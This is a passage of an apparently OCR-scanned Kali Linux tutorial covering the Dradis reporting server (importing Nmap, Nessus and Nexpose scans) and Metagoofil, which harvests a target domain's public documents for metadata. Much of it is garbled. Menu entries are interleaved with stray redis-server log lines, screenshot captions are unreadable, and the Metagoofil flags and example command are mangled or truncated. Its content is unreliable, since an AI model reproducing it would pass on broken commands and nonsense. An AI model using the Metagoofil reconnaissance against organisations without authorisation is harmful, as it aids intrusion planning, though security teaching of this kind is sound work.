06 - Wireless Attacks ar TCP listening socket *:6379:

07 - Reverse Engineering “%  magictree

08 - Exploitation Tools onfig file specified, using the
2 use redis-server /path/to/redi

imum number of open files to 10032 (it

. pipal
09 - Sniffing & Spoofing
10 - Post Exploitation recordmyd...

ar TCP listening socket *:6379: bind:
11 - Forensics

12 - Reporting Tools onfig file specifi

The web URL will open. Anybody in LAN can open it in the following URL https://IP of kali
machine:3004
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Kali Linux

Log in with the username and password that was used for the first time.

Welcome to Dradis - lceweasel

Fite Edit View History Bookmarks Tools Help

(® Welcome to Dradis | o |
€ | & nttps//127.0.0.1:3004/sessions/intt v €| [BY Google Q v

[ Most Visited~  JllOffensive Security S\ Kali Linux % Kali Docs EKMExploit-DB Wy Aircrack-ng

Server password

This server does not have a password yet, please set up one

Password I |

Confirm Password I |

Meta-Server

You can create a new project or checkout one from the Meta-Server

New project @
Checkout project

Step 3: After logging in, you can import files from NMAP, NESSUS, NEXPOSE. To do so,
go to “Import from file” -> click “new importer(with real-time feedback)”.

Bonsmment zo0 R
& 0 (28 localhost o socaihost 1004
e
N e (wih et b Somdtech) By (Yot -l
unnn;'&’\w»um bt «
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Step 4: Select the file type that you want to upload. In this case, it is "Nessus scan” -
click “Browse”.

Upload Manager

Use the form below to uptoad cutput files from other tools. Once you have uplosded them you can process with the
different pluging avallabie.

Upload file

lrwey Foamewrk 3 02 B/ (dn@stam ook sy

If you go to the home page now, on the left panel you will see that the imported scans
have are in a folder with their host and port details.

Port #5101tcp Is open (syn-ack)
Service: admdog

o

Metagoofil

Metagoofil performs a search in Google to identify and download the documents to the
local disk and then extracts the metadata. It extracts metadata of public documents
belonging to a specific company, individual, object, etc.

To open it, go to: “usr/share/metagoofil/".
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To start searching, type the following command:

python metagoofil.py

You can use the following parameters with this command:

e =d (domain name)

o =t (filetype to download dox,pdf,etc)
e =] (limit the results 10, 100 )

e =n (limit files to download)

e =0 ( location to save the files)

o —f (output file)

The following example shows only the domain name is hidden.

com -t pdf -1 20 -n 10 -0 /root/Desktop/working

AVAVANRY
\/ \/\ I\

* Metagoofil Ver 2.2

* Christian Martorella

* Edge-Security.com

* cmartorella_at_edge-security.com

[-] Starting online search..

[-] Searching for pdf; files, with a limit of 20
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